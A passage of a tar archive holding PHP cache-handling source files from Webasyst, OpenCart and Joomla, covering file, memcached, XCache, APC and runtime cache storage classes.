    protected function getCacheName()
    {
        $file = $this->getFilePath();
        $root_path = wa()->getConfig()->getRootPath();
        $name = str_replace($root_path, '', $file);
        return $name;
    }

    /**
     * @return waCacheModel
     */
    protected function getCacheModel()
    {
        static $model;
        if ($model === null) {
            $model = new waCacheModel();
        }
        return $model;
    }
}cms/webasyst/cache/waVarExportCache.class.php000644 000000 000000 00000003066 14202631424 021671 0ustar00rootwheel000000 000000 <?php

/*
 * This file is part of Webasyst framework.
 *
 * Licensed under the terms of the GNU Lesser General Public License (LGPL).
 * http://www.webasyst.com/framework/license/
 *
 * @link http://www.webasyst.com/
 * @author Webasyst LLC
 * @copyright 2011 Webasyst LLC
 * @package wa-system
 * @subpackage cache
 */

class waVarExportCache extends waFileCache
{
    protected function writeToFile($file, $v)
    {
        if ($this->ttl == 0) {
            return true;
        }
        $result = waUtils::varExportToFile($v, $file);
        if (!$result && waSystemConfig::isDebug()) {
            throw new waException("Cannot write to cache file ".$file, 601);
        }
        return $result;
    }

    /**
     * @param $file
     * @return mixed|null
     */
    protected function readFromFile($file)
    {
        if (file_exists($file)) {
            if ($this->ttl >= 0 && time() - @filemtime($file) >= $this->ttl) {
                $this->delete();
                return null;
            } else {
                if (!@filesize($file)) {
                    $this->delete();
                    return null;
                }
                try {
                    $r = @include($file);
                } catch (Error $error) {
                    $this->delete();
                    return null;
                }

                // check cache
                if ($r === false || $r === null) {
                    $this->delete();
                    return null;
                }
                return $r;
            }
        }
        return null;
    }
}
cms/webasyst/cache/waRuntimeCache.class.php000644 000000 000000 00000001521 14202631424 021354 0ustar00rootwheel000000 000000 <?php

class waRuntimeCache implements waiCache
{

    protected $key;
    protected static $cache = array();

    public function __construct($key, $ttl = -1, $app_id = null)
    {
        if (!$app_id) {
            $app_id = wa()->getApp();
        }
        $this->key = $app_id.'/'.$key;
    }

    public function get()
    {
        return isset(self::$cache[$this->key]) ? self::$cache[$this->key] : null;
    }

    public function set($value)
    {
        self::$cache[$this->key] = $value;
    }

    public function delete()
    {
        if (isset(self::$cache[$this->key])) {
            unset(self::$cache[$this->key]);
        }
        return true;
    }

    public function isCached()
    {
        return isset(self::$cache[$this->key]);
    }

    public static function clearAll()
    {
        self::$cache = array();
    }
}cms/webasyst/cache/waCache.class.php000644 000000 000000 00000003351 14202631424 020013 0ustar00rootwheel000000 000000 <?php
/**
 * Interface for a key/value storage such as Memcached.
 * See waSystem->getCache(), waSystemConfig->getCache()
 */
class waCache
{
    /**
     * @var waCacheAdapter
     */
    protected $adapter;
    protected $app_id;

    /**
     * @param waCacheAdapter $adapter
     * @param string $app_id
     */
    public function __construct(waCacheAdapter $adapter, $app_id)
    {
        $this->adapter = $adapter;
        $this->app_id = $app_id;
    }

    /**
     * @param string $key
     * @param string|bool $group
     * @return string
     */
    protected function key($key, $group = null)
    {
        return $this->adapter->key($key, $this->app_id, $group);
    }

    /**
     * @param string $key
     * @param string $group
     * @return mixed
     */
    public function get($key, $group = null)
    {
        return $this->adapter->get($this->key($key, $group));
    }

    /**
     * @param string $key
     * @param mixed $value
     * @param string|bool $group
     * @param int $expiration
     * @return mixed
     */
    public function set($key, $value, $expiration = null, $group = null)
    {
        return $this->adapter->set($this->key($key, $group), $value, $expiration, $this->key($group, true));
    }

    /**
     * @param string $key
     * @param string
     * @return mixed
     */
    public function delete($key, $group = null)
    {
        return $this->adapter->delete($this->key($key, $group));
    }

    /**
     * @param string $group
     * @return mixed
     */
    public function deleteGroup($group)
    {
        return $this->adapter->deleteGroup($this->key($group, true));
    }

    /**
     * @return mixed
     */
    public function deleteAll()
    {
        return $this->adapter->deleteAll();
    }
}cms/webasyst/cache/waFunctionCache.class.php000644 000000 000000 00000006544 14202631424 021530 0ustar00rootwheel000000 000000 <?php

/**
 * @property-read int    $call_limit If the execution time (in seconds) is less - the result will not be cached.
 * @property-read string $namespace  Namespace, which will be passed to waVarExportCache as app_id. The default id of the current app.
 * @property-read int    $ttl        The maximum lifetime of the cache, which is considered relevant.
 * @property-read bool   $hard_clean If you are not sure that the recorded cache will clear itself - use this flag.
 *                                   In this case, the Framework will definitely remove it when the $this->ttl time expires.
 * @property-read string $hash_salt  The salt that will be used to generate the hash. This could be the user locale or something else.
 */
class waFunctionCache
{
    protected $function;
    protected $options = array(
        'call_limit' => 1,
        'namespace'  => null,
        'ttl'        => 1800, // 30 mins
        'hard_clean' => false,
        'hash_salt'  => '',
    );

    /**
     * @var bool $disable_cache
     * Debug helper. Set to true to make all ->call()s ignore cache and never write there
     */
    public $disable_cache = false;

    /**
     * @var string $last_call_cache_status
     * Debug helper.
     * after ->call() this is set to one of: 'from_cache', 'just_cached',
     * 'not_cached' (when call_limit option is not met), or 'error' (when callable throws exception)
     */
    public $last_call_cache_status = false;

    /**
     * @param callable $function
     * @param array $options
     * @throws waException
     */
    public function __construct($function, $options = array())
    {
        if (!is_callable($function)) {
            throw new waException('Function or method not exists');
        }

        $this->function = $function;

        if (!empty($options) && is_array($options)) {
            $this->options = array_merge($this->options, $options);
        }

        $this->disable_cache = defined('WA_DISABLE_FUNCTIONS_CACHE');
    }

    public function __get($option)
    {
        return isset($this->options[$option]) ? $this->options[$option] : null;
    }

    public function __isset($option)
    {
        return isset($this->options[$option]);
    }

    public function call()
    {
        $args = func_get_args();

        if ($this->disable_cache) {
            $this->last_call_cache_status = 'not_cached';
            return call_user_func_array($this->function, $args);
        }

        $hash_data = var_export(array($this->function, $args), true).$this->hash_salt;
        $hash = md5($hash_data);
        //waLog::log($hash_data, 'wa_fun_cache/'.$hash.'.log');
        unset($hash_data);

        $app_id = $this->namespace ? $this->namespace : wa()->getApp();
        $cache = new waVarExportCache('fn_'.$hash, $this->ttl, $app_id, $this->hard_clean);
        $result = $cache->get();
        if (!$result) {
            $t = microtime(true);
            $this->last_call_cache_status = 'error';
            $result = call_user_func_array($this->function, $args);
            if ((microtime(true) - $t) > $this->call_limit) {
                $cache->set($result);
                $this->last_call_cache_status = 'just_cached';
            } else {
                $this->last_call_cache_status = 'not_cached';
            }
        } else {
            $this->last_call_cache_status = 'from_cache';
        }

        return $result;
    }
}cms/webasyst/cache/waiCache.interface.php000644 000000 000000 00000001133 14202631424 021013 0ustar00rootwheel000000 000000 <?php 
/**
 * Interface for a simple cache. One object = one cached value.
 */
/*
 * This file is part of Webasyst framework.
 *
 * Licensed under the terms of the GNU Lesser General Public License (LGPL).
 * http://www.webasyst.com/framework/license/
 *
 * @link http://www.webasyst.com/
 * @author Webasyst LLC
 * @copyright 2011 Webasyst LLC
 * @package wa-system
 * @subpackage cache
 */

interface waiCache
{
    public function __construct($key, $ttl = -1, $app_id = null);
    public function get();
    public function set($value);
    public function delete();
    public function isCached();
}cms/webasyst/cache/waSerializeCache.class.php000644 000000 000000 00000002615 14202631424 021665 0ustar00rootwheel000000 000000 <?php

/*
 * This file is part of Webasyst framework.
 *
 * Licensed under the terms of the GNU Lesser General Public License (LGPL).
 * http://www.webasyst.com/framework/license/
 *
 * @link http://www.webasyst.com/
 * @author Webasyst LLC
 * @copyright 2011 Webasyst LLC
 * @package wa-system
 * @subpackage cache
 */

class waSerializeCache extends waFileCache
{

    protected function writeToFile($file, $v)
    {
        if ($this->ttl == 0) {
            return null;
        }
        if (!file_exists($file) || is_writable($file)) {
            $data = serialize(array('time' => time(), 'ttl' => $this->ttl, 'value' => $v));
            $r = @file_put_contents($file, $data);
            if ($r) {
                @chmod($file, 0664);
            }
            return $r;
        } elseif (waSystemConfig::isDebug()) {
            throw new waException("Cannot write to cache file ".$file, 601);
        }
    }

    protected function readFromFile($file, $t = null)
    {
        if (file_exists($file) && is_writable($file)) {
            $info = unserialize(file_get_contents($file));
            if ($t && $info['time'] < $t) {
                return null;
            } elseif (!empty($info['ttl']) && $info['ttl'] >= 0 && time() - $info['time'] >= $info['ttl']) {
                return null;
            } else {
                return $info['value'];
            }
        }
        return null;
    }
}
cms/webasyst/cache/adapters/waXcacheCacheAdapter.class.php000644 000000 000000 00000005014 14202631424 024231 0ustar00rootwheel000000 000000 <?php

/**
 * This file is part of Webasyst framework.
 *
 * Licensed under the terms of the GNU Lesser General Public License (LGPL).
 * http://www.webasyst.com/framework/license/
 *
 * @link http://www.webasyst.com/
 * @author Serge Rodovnichenko <sergerod@gmail.com>
 * @copyright 2014 Serge Rodovnichenko
 * @package wa-system
 * @subpackage cache
 */

/**
 * Cache adapter class to store data with XCache
 *
 * Required keys for $options
 *  - 'prefix' - Unique prefix for variables stored in cache. This value
 *               must be unique for the server!
 *
 */
class waXcacheCacheAdapter extends waCacheAdapter
{
    protected function init()
    {
        parent::init();

        if(!extension_loaded('XCache')) {
            throw new waException("XCache module not loaded");
        }

        if(version_compare(phpversion("XCache"), "3.1.0", "<")) {
            throw new waException("XCache version 3.1.0 or newer required");
        }

        if(!isset($this->options["prefix"])) {
            throw new waException("Prefix for XCache is not set");
        }
    }

    /**
     *
     * @param string $key Key name
     * @param string $app_id Application ID
     * @param string|bool $group
     * @return string
     */
    public function key($key, $app_id, $group = null)
    {
        $key = parent::key($key, $app_id, $group);

        return $this->options["prefix"] . $key;
    }

    /**
     * @param string $key
     * @return boolean
     */
    public function delete($key)
    {
        if(!xcache_isset($key)) {
            return TRUE;
        }

        return xcache_unset($key);
    }

    /**
     * @return boolean
     */
    public function deleteAll()
    {
        xcache_unset_by_prefix($this->options["prefix"]);
        return TRUE;
    }

    public function deleteGroup($group)
    {
        xcache_unset_by_prefix($group);
        return TRUE;
    }

    /**
     * Retrieves from cache
     *
     * @param string $key
     * @return mixed Cached value or NULL
     */
    public function get($key)
    {
        $v = xcache_get($key);
        if($v) {
            return unserialize($v);
        }

        return NULL;
    }

    /**
     * Stores value in the cache
     *
     * @param string $key
     * @param mixed $value Value to store in the cache
     * @param int $expiration
     * @param string|bool $group
     * @return bool
     */
    public function set($key, $value, $expiration = null, $group = null)
    {
        return xcache_set($key, serialize($value), ($expiration ? $expiration: 0));
    }

}
cms/webasyst/cache/adapters/waMemcachedCacheAdapter.class.php000644 000000 000000 00000004144 14202631424 024707 0ustar00rootwheel000000 000000 <?php

class waMemcachedCacheAdapter extends waCacheAdapter
{
    /**
     * @var Memcached
     */
    protected static $memcached;

    protected function init()
    {
        if (!self::$memcached) {
            if (!empty($this->options['persistent'])) {
                self::$memcached = new Memcached($this->options['persistent']);
                // if servers already exists
                if (self::$memcached->getServerList()) {
                    return;
                }
            } else {
                self::$memcached = new Memcached();
            }
            if (empty($this->options['servers'])) {
                self::$memcached->addServer('127.0.0.1', 11211);
            } else {
                foreach ($this->options['servers'] as $s) {
                    self::$memcached->addServer($s['host'], isset($s['port']) ? $s['port'] : 11211,
                        isset($s['weight']) ? $s['weight'] : 0);
                }
            }
        }
    }

    public function key($key, $app_id, $group = null)
    {
        return (isset($this->options['namespace']) ? $this->options['namespace'].'/' : '').parent::key($key, $app_id. $group);
    }

    public function get($key, $group = null)
    {
        $r = self::$memcached->get($key);
        if ($r === false) {
            return null;
        }
        return $r;
    }

    public function set($key, $value, $expiration = null, $group = null)
    {
        if ($group) {
            $keys = $this->get($group);
            if (!$keys) {
                $keys = array();
            }
            $keys[] = $key;
            $this->set($group, $keys);
        }
        return self::$memcached->set($key, $value, $expiration);
    }

    public function delete($key)
    {
        return self::$memcached->delete($key);
    }

    public function deleteGroup($group)
    {
        $keys = $this->get($group);
        if ($keys) {
            foreach ($keys as $k) {
                $this->delete($k);
            }
        }
        return $this->delete($group);
    }

    public function deleteAll()
    {
        return self::$memcached->flush();
    }
}cms/webasyst/cache/adapters/waFileCacheAdapter.class.php000644 000000 000000 00000003413 14202631424 023716 0ustar00rootwheel000000 000000 <?php

class waFileCacheAdapter extends waCacheAdapter
{
    protected function init()
    {
        if (!isset($this->options['path'])) {
            $this->options['path'] = waConfig::get('wa_path_cache').'/apps';
        }
    }

    public function key($key, $app_id, $group = null)
    {
        $key = trim($key, '/');
        if ($group === true) {
            return $app_id.'/cache/g_'.$key;
        } elseif (!$group) {
            return $app_id.'/cache/k_'.$key.'.slz';
        }
        return $app_id.'/cache/g_'.$group.'/'.$key.'.slz';
    }

    public function get($key)
    {
        $file = $this->options['path'].'/'.$key;
        if (file_exists($file) && is_writable($file)) {
            $info = @unserialize(file_get_contents($file));
            if (!empty($info['ttl']) && $info['ttl'] >= 0 && time() - $info['time'] >= $info['ttl']) {
                return null;
            } else {
                return $info['value'];
            }
        }
        return null;
    }

    public function set($key, $value, $expiration = null, $group = null)
    {
        $file = waFiles::create($this->options['path'].'/'.$key);
        $data = serialize(array('time' => time(), 'ttl' => $expiration, 'value' => $value));
        if (!file_exists($file) || is_writable($file)) {
            $r = @file_put_contents($file, $data, LOCK_EX);
            if ($r) {
                @chmod($file, 0664);
            }
            return $r;
        }
    }

    public function delete($key)
    {
        return waFiles::delete($this->options['path'].'/'.$key);
    }

    public function deleteGroup($group)
    {
        return waFiles::delete($this->options['path'].'/'.$group);
    }

    public function deleteAll()
    {
        return waFiles::delete($this->options['path']);
    }
}cms/opencart/cache/000755 000000 000000 00000000000 14214276054 014622 5ustar00rootwheel000000 000000 cms/opencart/cache/file.php000644 000000 000000 00000002432 12440647730 016255 0ustar00rootwheel000000 000000 <?php
namespace Cache;
class File {
	private $expire;

	public function __construct($expire = 3600) {
		$this->expire = $expire;

		$files = glob(DIR_CACHE . 'cache.*');

		if ($files) {
			foreach ($files as $file) {
				$time = substr(strrchr($file, '.'), 1);

				if ($time < time()) {
					if (file_exists($file)) {
						unlink($file);
					}
				}
			}
		}
	}

	public function get($key) {
		$files = glob(DIR_CACHE . 'cache.' . preg_replace('/[^A-Z0-9\._-]/i', '', $key) . '.*');

		if ($files) {
			$handle = fopen($files[0], 'r');

			flock($handle, LOCK_SH);

			$data = fread($handle, filesize($files[0]));

			flock($handle, LOCK_UN);

			fclose($handle);

			return unserialize($data);
		}

		return false;
	}

	public function set($key, $value) {
		$this->delete($key);

		$file = DIR_CACHE . 'cache.' . preg_replace('/[^A-Z0-9\._-]/i', '', $key) . '.' . (time() + $this->expire);

		$handle = fopen($file, 'w');

		flock($handle, LOCK_EX);

		fwrite($handle, serialize($value));

		fflush($handle);

		flock($handle, LOCK_UN);

		fclose($handle);
	}

	public function delete($key) {
		$files = glob(DIR_CACHE . 'cache.' . preg_replace('/[^A-Z0-9\._-]/i', '', $key) . '.*');

		if ($files) {
			foreach ($files as $file) {
				if (file_exists($file)) {
					unlink($file);
				}
			}
		}
	}
}cms/opencart/cache/mem.php000644 000000 000000 00000001017 12462431030 016076 0ustar00rootwheel000000 000000 <?php
namespace Cache;
class Mem {
	private $expire;
	private $cache;

	public function __construct($expire) {
		$this->expire = $expire;

		$this->cache = new \Memcache();
		$this->cache->pconnect(CACHE_HOSTNAME, CACHE_PORT);
	}

	public function get($key) {
		return $this->cache->get(CACHE_PREFIX . $key);
	}

	public function set($key,$value) {
		return $this->cache->set(CACHE_PREFIX . $key, $value, MEMCACHE_COMPRESSED, $this->expire);
	}

	public function delete($key) {
		$this->cache->delete(CACHE_PREFIX . $key);
	}
}cms/opencart/cache/apc.php000644 000000 000000 00000000610 12440647730 016075 0ustar00rootwheel000000 000000 <?php
namespace Cache;
class APC {
	private $expire;
	private $cache;

	public function __construct($expire) {
		$this->expire = $expire;
	}

	public function get($key) {
		return apc_fetch(CACHE_PREFIX . $key);
	}

	public function set($key, $value) {
		return apc_store(CACHE_PREFIX . $key, $value, $this->expire);
	}

	public function delete($key) {
		apc_delete(CACHE_PREFIX . $key);
	}
}cms/joomla/cache1/000755 000000 000765 00000000000 14214403610 015412 5ustar00rootnovadesign000000 000000 cms/joomla/cache/000755 000000 000765 00000000000 14213621611 015333 5ustar00rootnovadesign000000 000000 cms/joomla/cache/storage.php000644 001411 001411 00000017331 12750043556 016601 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Abstract cache storage handler
 *
 * @since  11.1
 * @note   As of 4.0 this class will be abstract
 */
class JCacheStorage
{
	/**
	 * The raw object name
	 *
	 * @var    string
	 * @since  11.1
	 */
	protected $rawname;

	/**
	 * Time that the cache storage handler was instantiated
	 *
	 * @var    integer
	 * @since  11.1
	 */
	public $_now;

	/**
	 * Cache lifetime
	 *
	 * @var    integer
	 * @since  11.1
	 */
	public $_lifetime;

	/**
	 * Flag if locking is enabled
	 *
	 * @var    boolean
	 * @since  11.1
	 */
	public $_locking;

	/**
	 * Language code
	 *
	 * @var    string
	 * @since  11.1
	 */
	public $_language;

	/**
	 * Application name
	 *
	 * @var    string
	 * @since  11.1
	 */
	public $_application;

	/**
	 * Object hash
	 *
	 * @var    string
	 * @since  11.1
	 */
	public $_hash;

	/**
	 * Constructor
	 *
	 * @param   array  $options  Optional parameters
	 *
	 * @since   11.1
	 */
	public function __construct($options = array())
	{
		$config = JFactory::getConfig();

		$this->_hash        = md5($config->get('secret'));
		$this->_application = (isset($options['application'])) ? $options['application'] : null;
		$this->_language    = (isset($options['language'])) ? $options['language'] : 'en-GB';
		$this->_locking     = (isset($options['locking'])) ? $options['locking'] : true;
		$this->_lifetime    = (isset($options['lifetime'])) ? $options['lifetime'] * 60 : $config->get('cachetime') * 60;
		$this->_now         = (isset($options['now'])) ? $options['now'] : time();

		// Set time threshold value.  If the lifetime is not set, default to 60 (0 is BAD)
		// _threshold is now available ONLY as a legacy (it's deprecated).  It's no longer used in the core.
		if (empty($this->_lifetime))
		{
			$this->_threshold = $this->_now - 60;
			$this->_lifetime = 60;
		}
		else
		{
			$this->_threshold = $this->_now - $this->_lifetime;
		}
	}

	/**
	 * Returns a cache storage handler object.
	 *
	 * @param   string  $handler  The cache storage handler to instantiate
	 * @param   array   $options  Array of handler options
	 *
	 * @return  JCacheStorage
	 *
	 * @since   11.1
	 * @throws  UnexpectedValueException
	 * @throws  RuntimeException
	 */
	public static function getInstance($handler = null, $options = array())
	{
		static $now = null;

		// @deprecated  4.0  This class path is autoloaded, manual inclusion is no longer necessary
		self::addIncludePath(JPATH_PLATFORM . '/joomla/cache/storage');

		if (!isset($handler))
		{
			$handler = JFactory::getConfig()->get('cache_handler');

			if (empty($handler))
			{
				throw new UnexpectedValueException('Cache Storage Handler not set.');
			}
		}

		if (is_null($now))
		{
			$now = time();
		}

		$options['now'] = $now;

		// We can't cache this since options may change...
		$handler = strtolower(preg_replace('/[^A-Z0-9_\.-]/i', '', $handler));

		/** @var JCacheStorage $class */
		$class = 'JCacheStorage' . ucfirst($handler);

		if (!class_exists($class))
		{
			// Search for the class file in the JCacheStorage include paths.
			jimport('joomla.filesystem.path');

			$path = JPath::find(self::addIncludePath(), strtolower($handler) . '.php');

			if ($path === false)
			{
				throw new RuntimeException(sprintf('Unable to load Cache Storage: %s', $handler));
			}

			include_once $path;

			// The class should now be loaded
			if (!class_exists($class))
			{
				throw new RuntimeException(sprintf('Unable to load Cache Storage: %s', $handler));
			}
		}

		// Validate the cache storage is supported on this platform
		if (!$class::isSupported())
		{
			throw new RuntimeException(sprintf('The %s Cache Storage is not supported on this platform.', $handler));
		}

		return new $class($options);
	}

	/**
	 * Get cached data by ID and group
	 *
	 * @param   string   $id         The cache data ID
	 * @param   string   $group      The cache data group
	 * @param   boolean  $checkTime  True to verify cache time expiration threshold
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   11.1
	 */
	public function get($id, $group, $checkTime = true)
	{
		return false;
	}

	/**
	 * Get all cached data
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   11.1
	 */
	public function getAll()
	{
		return false;
	}

	/**
	 * Store the data to cache by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 * @param   string  $data   The data to store in cache
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function store($id, $group, $data)
	{
		return true;
	}

	/**
	 * Remove a cached data entry by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function remove($id, $group)
	{
		return true;
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode    : cleans all cache in the group
	 * notgroup mode : cleans all cache not in the group
	 *
	 * @param   string  $group  The cache data group
	 * @param   string  $mode   The mode for cleaning cache [group|notgroup]
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function clean($group, $mode = null)
	{
		return true;
	}

	/**
	 * Garbage collect expired cache data
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function gc()
	{
		return true;
	}

	/**
	 * Test to see if the storage handler is available.
	 *
	 * @return  boolean
	 *
	 * @since   12.1
	 */
	public static function isSupported()
	{
		return true;
	}

	/**
	 * Test to see if the storage handler is available.
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 * @deprecated  12.3 (Platform) & 4.0 (CMS)
	 */
	public static function test()
	{
		JLog::add(__METHOD__ . '() is deprecated. Use JCacheStorage::isSupported() instead.', JLog::WARNING, 'deprecated');

		return static::isSupported();
	}

	/**
	 * Lock cached item
	 *
	 * @param   string   $id        The cache data ID
	 * @param   string   $group     The cache data group
	 * @param   integer  $locktime  Cached item max lock time
	 *
	 * @return  mixed  Boolean false if locking failed or an object containing properties lock and locklooped
	 *
	 * @since   11.1
	 */
	public function lock($id, $group, $locktime)
	{
		return false;
	}

	/**
	 * Unlock cached item
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function unlock($id, $group = null)
	{
		return false;
	}

	/**
	 * Get a cache ID string from an ID/group pair
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  string
	 *
	 * @since   11.1
	 */
	protected function _getCacheId($id, $group)
	{
		$name          = md5($this->_application . '-' . $id . '-' . $this->_language);
		$this->rawname = $this->_hash . '-' . $name;

		return JCache::getPlatformPrefix() . $this->_hash . '-cache-' . $group . '-' . $name;
	}

	/**
	 * Add a directory where JCacheStorage should search for handlers. You may either pass a string or an array of directories.
	 *
	 * @param   array|string  $path  A path to search.
	 *
	 * @return  array  An array with directory elements
	 *
	 * @since   11.1
	 */
	public static function addIncludePath($path = '')
	{
		static $paths;

		if (!isset($paths))
		{
			$paths = array();
		}

		if (!empty($path) && !in_array($path, $paths))
		{
			jimport('joomla.filesystem.path');
			array_unshift($paths, JPath::clean($path));
		}

		return $paths;
	}
}
cms/joomla/cache/storage/000755 001411 001411 00000000000 12750043556 016063 5ustar00panelpanel000000 000000 cms/joomla/cache/cache.php000644 001411 001411 00000043750 12750043556 016204 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

use Joomla\String\StringHelper;

/**
 * Joomla! Cache base object
 *
 * @since  11.1
 */
class JCache
{
	/**
	 * Storage handler
	 *
	 * @var    JCacheStorage[]
	 * @since  11.1
	 */
	public static $_handler = array();

	/**
	 * Cache options
	 *
	 * @var    array
	 * @since  11.1
	 */
	public $_options;

	/**
	 * Constructor
	 *
	 * @param   array  $options  Cache options
	 *
	 * @since   11.1
	 */
	public function __construct($options)
	{
		$conf = JFactory::getConfig();

		$this->_options = array(
			'cachebase'    => $conf->get('cache_path', JPATH_CACHE),
			'lifetime'     => (int) $conf->get('cachetime'),
			'language'     => $conf->get('language', 'en-GB'),
			'storage'      => $conf->get('cache_handler', ''),
			'defaultgroup' => 'default',
			'locking'      => true,
			'locktime'     => 15,
			'checkTime'    => true,
			'caching'      => ($conf->get('caching') >= 1) ? true : false
		);

		// Overwrite default options with given options
		foreach ($options as $option => $value)
		{
			if (isset($options[$option]) && $options[$option] !== '')
			{
				$this->_options[$option] = $options[$option];
			}
		}

		if (empty($this->_options['storage']))
		{
			$this->_options['caching'] = false;
		}
	}

	/**
	 * Returns a reference to a cache adapter object, always creating it
	 *
	 * @param   string  $type     The cache object type to instantiate
	 * @param   array   $options  The array of options
	 *
	 * @return  JCacheController
	 *
	 * @since   11.1
	 */
	public static function getInstance($type = 'output', $options = array())
	{
		return JCacheController::getInstance($type, $options);
	}

	/**
	 * Get the storage handlers
	 *
	 * @return  array
	 *
	 * @since   11.1
	 */
	public static function getStores()
	{
		$handlers = array();

		// Get an iterator and loop trough the driver classes.
		$iterator = new DirectoryIterator(__DIR__ . '/storage');

		/** @type  $file  DirectoryIterator */
		foreach ($iterator as $file)
		{
			$fileName = $file->getFilename();

			// Only load for php files.
			if (!$file->isFile() || $file->getExtension() != 'php' || $fileName == 'helper.php')
			{
				continue;
			}

			// Derive the class name from the type.
			$class = str_ireplace('.php', '', 'JCacheStorage' . ucfirst(trim($fileName)));

			// If the class doesn't exist we have nothing left to do but look at the next type. We did our best.
			if (!class_exists($class))
			{
				continue;
			}

			// Sweet!  Our class exists, so now we just need to know if it passes its test method.
			if ($class::isSupported())
			{
				// Connector names should not have file extensions.
				$handlers[] = str_ireplace('.php', '', $fileName);
			}
		}

		return $handlers;
	}

	/**
	 * Set caching enabled state
	 *
	 * @param   boolean  $enabled  True to enable caching
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public function setCaching($enabled)
	{
		$this->_options['caching'] = $enabled;
	}

	/**
	 * Get caching state
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function getCaching()
	{
		return $this->_options['caching'];
	}

	/**
	 * Set cache lifetime
	 *
	 * @param   integer  $lt  Cache lifetime
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public function setLifeTime($lt)
	{
		$this->_options['lifetime'] = $lt;
	}

	/**
	 * Get cached data by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   11.1
	 */
	public function get($id, $group = null)
	{
		// Get the default group
		$group = ($group) ? $group : $this->_options['defaultgroup'];

		// Get the storage
		$handler = $this->_getStorage();

		if (!($handler instanceof Exception) && $this->_options['caching'])
		{
			return $handler->get($id, $group, $this->_options['checkTime']);
		}

		return false;
	}

	/**
	 * Get a list of all cached data
	 *
	 * @return  mixed  Boolean false on failure or an object with a list of cache groups and data
	 *
	 * @since   11.1
	 */
	public function getAll()
	{
		// Get the storage
		$handler = $this->_getStorage();

		if (!($handler instanceof Exception) && $this->_options['caching'])
		{
			return $handler->getAll();
		}

		return false;
	}

	/**
	 * Store the cached data by ID and group
	 *
	 * @param   mixed   $data   The data to store
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function store($data, $id, $group = null)
	{
		// Get the default group
		$group = ($group) ? $group : $this->_options['defaultgroup'];

		// Get the storage and store the cached data
		$handler = $this->_getStorage();

		if (!($handler instanceof Exception) && $this->_options['caching'])
		{
			return $handler->store($id, $group, $data);
		}

		return false;
	}

	/**
	 * Remove a cached data entry by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function remove($id, $group = null)
	{
		// Get the default group
		$group = ($group) ? $group : $this->_options['defaultgroup'];

		// Get the storage
		$handler = $this->_getStorage();

		if (!($handler instanceof Exception))
		{
			return $handler->remove($id, $group);
		}

		return false;
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode    : cleans all cache in the group
	 * notgroup mode : cleans all cache not in the group
	 *
	 * @param   string  $group  The cache data group
	 * @param   string  $mode   The mode for cleaning cache [group|notgroup]
	 *
	 * @return  boolean  True on success, false otherwise
	 *
	 * @since   11.1
	 */
	public function clean($group = null, $mode = 'group')
	{
		// Get the default group
		$group = ($group) ? $group : $this->_options['defaultgroup'];

		// Get the storage handler
		$handler = $this->_getStorage();

		if (!($handler instanceof Exception))
		{
			return $handler->clean($group, $mode);
		}

		return false;
	}

	/**
	 * Garbage collect expired cache data
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function gc()
	{
		// Get the storage handler
		$handler = $this->_getStorage();

		if (!($handler instanceof Exception))
		{
			return $handler->gc();
		}

		return false;
	}

	/**
	 * Set lock flag on cached item
	 *
	 * @param   string  $id        The cache data ID
	 * @param   string  $group     The cache data group
	 * @param   string  $locktime  The default locktime for locking the cache.
	 *
	 * @return  stdClass  Object with properties of lock and locklooped
	 *
	 * @since   11.1
	 */
	public function lock($id, $group = null, $locktime = null)
	{
		$returning = new stdClass;
		$returning->locklooped = false;

		// Get the default group
		$group = ($group) ? $group : $this->_options['defaultgroup'];

		// Get the default locktime
		$locktime = ($locktime) ? $locktime : $this->_options['locktime'];

		/*
		 * Allow storage handlers to perform locking on their own
		 * NOTE drivers with lock need also unlock or unlocking will fail because of false $id
		 */
		$handler = $this->_getStorage();

		if (!($handler instanceof Exception) && $this->_options['locking'] == true && $this->_options['caching'] == true)
		{
			$locked = $handler->lock($id, $group, $locktime);

			if ($locked !== false)
			{
				return $locked;
			}
		}

		// Fallback
		$curentlifetime = $this->_options['lifetime'];

		// Set lifetime to locktime for storing in children
		$this->_options['lifetime'] = $locktime;

		$looptime = $locktime * 10;
		$id2      = $id . '_lock';

		if ($this->_options['locking'] == true && $this->_options['caching'] == true)
		{
			$data_lock = $this->get($id2, $group);
		}
		else
		{
			$data_lock         = false;
			$returning->locked = false;
		}

		if ($data_lock !== false)
		{
			$lock_counter = 0;

